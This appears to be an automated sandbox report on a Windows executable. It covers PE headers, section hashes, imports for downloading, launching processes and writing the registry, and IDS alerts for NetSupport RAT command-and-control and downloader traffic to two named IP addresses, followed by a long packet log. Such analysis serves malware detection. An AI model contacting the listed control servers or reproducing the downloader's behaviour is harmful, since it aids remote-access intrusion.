mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004191FCh
push eax
call 00007FDE5C6BF085h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20e7c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25000	0x133c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x20480	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1767f	0x17800	d8130d75dfca9e2759c221e442aad28b	False	0.5903631981382979	data	6.638540763857237	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x19000	0x87e6	0x8800	78cf3053082e55486bc34273cd165aea	False	0.4685489430147059	data	5.058924359157263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x22000	0x14a4	0xa00	56f89838282ee4d16f98ce00bea3f3c8	False	0.163671875	data	2.2329908576039887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24000	0x1e0	0x200	e8f29e6669a480a4d72efeb174b889d9	False	0.52734375	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25000	0x133c	0x1400	c9d098ce7acb412e4277afe993baeb5c	False	0.7755859375	data	6.476134917020887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.config	0x27000	0x1000	0x200	c16fdd55aae697949c5110df1dfd0f8b	False	0.859375	PGP Secret Sub-key -	6.654871125593828	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetOpenUrlW
SHELL32.dll	SHGetSpecialFolderPathW, ShellExecuteW, SHCreateDirectoryExW
SHLWAPI.dll	PathCombineW, PathFileExistsW
KERNEL32.dll	HeapSize, SetFilePointerEx, LCMapStringW, lstrlenA, lstrcmpA, HeapAlloc, GetProcessHeap, HeapFree, ExpandEnvironmentStringsW, SetFileAttributesW, Sleep, lstrcatW, lstrlenW, GetSystemDirectoryW, GetCurrentProcess, GetModuleFileNameW, FlushFileBuffers, GetLastError, HeapReAlloc, CloseHandle, ExitProcess, CreateProcessW, CreateDirectoryW, ReadFile, WriteFile, SetFileTime, SetFilePointer, CreateFileW, GetFileAttributesW, MultiByteToWideChar, LocalFileTimeToFileTime, GetCurrentDirectoryW, SystemTimeToFileTime, WideCharToMultiByte, GetConsoleOutputCP, GetConsoleMode, DecodePointer, CreateMutexW, GetSystemTimeAsFileTime, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, WriteConsoleW, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, RaiseException, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, GetModuleHandleExW, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetStringTypeW
USER32.dll	wsprintfW
ADVAPI32.dll	GetTokenInformation, RegCloseKey, RegSetValueExW, RegOpenKeyW, OpenProcessToken

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	49704	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63016	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63020	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63019	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63018	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63021	37.1.209.225	443	TCP
2024-09-21T14:45:24.705430+0200	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.7	63017	37.1.209.225	443	TCP
2024-09-21T14:45:31.650706+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49700	142.11.212.184	443	TCP
2024-09-21T14:45:36.119849+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49701	142.11.212.184	443	TCP
2024-09-21T14:45:37.285896+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49702	142.11.212.184	443	TCP
2024-09-21T14:45:38.537220+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49703	142.11.212.184	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 21, 2024 14:45:30.197452068 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:30.197506905 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:30.197586060 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:30.207328081 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:30.207351923 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:30.976880074 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:30.978506088 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.512994051 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.513015985 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.513510942 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.513591051 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.517549038 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.563411951 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.650744915 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.650777102 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.650799990 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.650818110 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.650830984 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.650867939 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.685714960 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.685794115 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.741274118 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.741349936 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.742357969 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.742422104 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.743299007 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.743354082 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.776262999 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.776390076 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.776551962 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.776627064 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.831589937 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.831657887 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.832175016 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.832225084 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.833430052 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.833484888 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.834036112 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.834089041 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.866852045 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.866934061 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.867249012 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.867300034 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.867820978 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.867882013 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.922141075 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.922213078 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.922620058 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.922677040 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.923129082 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.923181057 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.923719883 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.923774004 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.924180031 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.924237967 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.924770117 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.924819946 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.925263882 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.925318956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.925851107 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.925911903 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.926215887 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.926269054 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.958364964 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.958405018 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.958455086 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.958472013 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.958534956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.958713055 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.958767891 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.959045887 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.959100008 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:31.959399939 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:31.959456921 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.012706041 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.012764931 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.013106108 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.013262033 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.013441086 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.013489008 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.013686895 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.013741016 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.014620066 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.014672041 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.014673948 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.014684916 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.014709949 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.014863014 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.014924049 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.015213966 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.015263081 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.017741919 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.017795086 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.017894983 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.017945051 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.048338890 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.048412085 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.048614979 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.048667908 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.048957109 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.049025059 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.049437046 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.049499035 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.049663067 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.049736023 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.050136089 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.050195932 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104023933 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104063988 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104096889 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104113102 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104156017 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104262114 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104296923 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104310036 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104315042 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104338884 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104356050 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.104871988 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.104950905 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.105458975 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.105515003 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.105519056 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.105526924 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.105557919 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.105561972 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.105588913 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.105593920 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.105622053 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.105645895 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.106424093 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.106468916 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.106471062 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.106479883 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.106506109 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.106522083 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.140794039 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.140904903 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.140965939 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.141014099 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.141341925 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.141388893 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.141913891 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.141961098 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.141968966 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.141999960 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.142014027 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.142024040 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.142070055 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.142070055 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.194297075 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.194356918 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.194392920 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.194437981 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.194863081 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.194924116 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.195234060 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.195286989 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.195564032 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.195612907 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.195672035 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.195715904 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.196237087 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.196288109 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.196288109 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.196304083 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.196330070 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.196347952 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.197293997 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.197343111 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.197348118 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.197355986 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.197401047 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.197650909 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.197793961 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.232033968 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.232100010 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.232290983 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.232342958 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.232841015 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.232881069 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.232884884 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.232893944 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.232909918 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.232984066 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.233887911 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.233932018 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.233949900 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.233958960 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.233995914 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.285131931 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.285211086 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.285245895 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.285788059 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.285868883 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.285868883 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.285877943 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.285988092 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.286197901 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.286335945 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.286724091 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.286761045 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.286830902 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.286830902 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.286838055 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.286984921 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.287322044 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.287410021 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.287478924 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.287478924 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.287489891 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.287650108 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.288398981 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.288441896 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.288491011 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.288491011 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.288496971 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.288533926 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.322587967 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.322941065 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.322999001 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.322999954 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.322999954 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.323019028 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.323148012 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.323148012 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.323606968 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.323790073 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.324054956 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.324100018 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.324166059 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.324166059 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.324172974 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.324256897 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.375861883 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.376034021 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.376213074 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.376601934 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.376652956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.376652956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.376662970 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.376698017 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.377218962 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.377335072 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.377335072 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.377342939 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.377403975 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.377808094 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.377808094 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.377814054 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.378341913 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.378397942 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.378424883 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.378424883 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.378429890 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.378443003 CEST	443	49700	142.11.212.184	192.168.2.7
